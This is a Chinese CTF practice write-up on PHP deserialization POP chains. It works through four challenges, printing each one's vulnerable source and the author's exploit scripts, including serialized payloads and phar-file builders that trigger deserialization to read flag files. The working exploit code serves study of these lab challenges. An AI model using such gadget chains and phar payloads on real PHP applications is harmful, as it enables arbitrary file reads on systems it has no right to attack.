pop链专练1

前言

说恶补pop就要恶补pop,基础知识已经基本全部过了一遍了,接下来主要就是练题了。

[SWPUCTF 2021 新生赛]pop

入门pop题,查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

链子的构建还是很明显的,主要是出入口都太明确了,直接构造exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'w44m';
protected $passwd = '08067';
}

class w22m{
public $w00m;
public function __construct(){
$this->w00m=new w33m();
}
}

class w33m{
public $w00m;
public $w22m = "Getflag";
public function __construct(){
$this->w00m=new w44m();
return 0;
}
}

$a=new w22m();
echo urlencode(serialize($a));
?>

[CISCN2019 华北赛区 Day1 Web1]Dropbox

质量很高的一题,同时结合了phar反序列化的考点。首先进入网页,发现要登录,那么注册登录。

登陆后发现存在文件上传,但是发现对后缀进行白名单,因此upload漏洞被堵了,接着发现上传后可以进行文件下载,并且对filename没有进行限制及编码,猜测存在任意文件下载、,接下来我们开始下载文件:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>

HTML省略

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$db
pass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

delete.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

其他代码没有实际作用再次不放出了。class.php发现和数据库交互的语句全部进行了参数绑定,因此不存在sql。

首先看出口,File类的close()中存在file_get_contents,拿来做出口在适合不过。接着发现User类中的__destruct()调用了close(),很有可能要通过这里进行打印。而FileList类中有__call()可以进行调用,那么我们就将$this->db复制为FileList类这样我们就可以直接使用该类中得方法。

而这个__call()几乎明示我们这里要用到phar反序列化了,因此构建exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

class User{
public $db;
public function __construct()
{
$this->db = new FileList();
}
}

class File{
public $filename;

}

class FileList {
private $files;
public function __construct()
{
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
}

}

$User = new User();

$phar = new Phar("./phar.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($User);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

将生成的phar文件后缀改成jpg,然后上传,最后利用phar://伪协议删除文件触发反序列化,读取flag。

[SWPUCTF 2018]SimplePHP

和上一题比较类似,首先是任意文件读取漏洞获取源码,我们读取关键代码。

class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

这次多了几个waf,不过我们依然要先定位出入口。出口很好定位,Test类的file_get(),存在base64_encode(file_get_contents($value)),可以读取文件。那么为了触发这个函数,我们定位到同类下的__get(),利用其到get()来触发。

那么我们发现Show类的__toString()中可以把$content的内容返回对象,而若$show->str[‘str’]为test类的一个实例化对象,则因test类里面没有source属性,从而触发__get()方法。

最后定位到Cle4r类,__destruct()方法可以把$test也就是$str给输出出来。将$str声明为$show对象可以触发show类中的__toString()方法。

链条构造完成,编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;
$show->str['str'] = $test;

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($c1e4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>

上传后在/upload目录下获取文件名,最后在查看文件的目录下用phar://伪协议读取flag。

[第五空间 2021]pklovecloud

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 <?php  
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

前面两题做的真的头大,返回来看题简单的。首先pkshow类一看就没用,因此这个pop只用到了两个类。出口显然是ace类的echo_name(),为了触发这个函数,我们发现acp类中的__toString()调用了这个函数,因此我们要想办法调用。acp实例化时会自动调用__construct(),所以要想触发__toString()就要使$this->cinder=对象,正好与上述分析所需的 $this->cinder = new ace() 相呼应。

因此链条梳理完成,但是我们要注意到在echo_name()中有这样几行:

1
2
3
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)

这里有个非预期,直接空等于空就可以绕过了,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace();
}
}

class ace
{
public $filename="flag.php";
public $openstack;
public $docker='';
}

$a=new acp();
echo urlencode(serialize($a));

那么预期解是怎样的呢,官方wp中将原来为空的docker的值改为O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}即可。

这个反序列化,尤其是这个R真把我搞迷糊了,这个的原理可以参考下面这篇文章,做出了一定的解释:
2021第五空间CTF pklovecloud

不过经过测试发现,其实直接令neutron和nova的值相等就可以了,好像是由于$cinder变量的属性是protected,导致其实$this->openstack->neutron = $heat;这句话可以被覆盖,具体原理可能得等之后再探究了。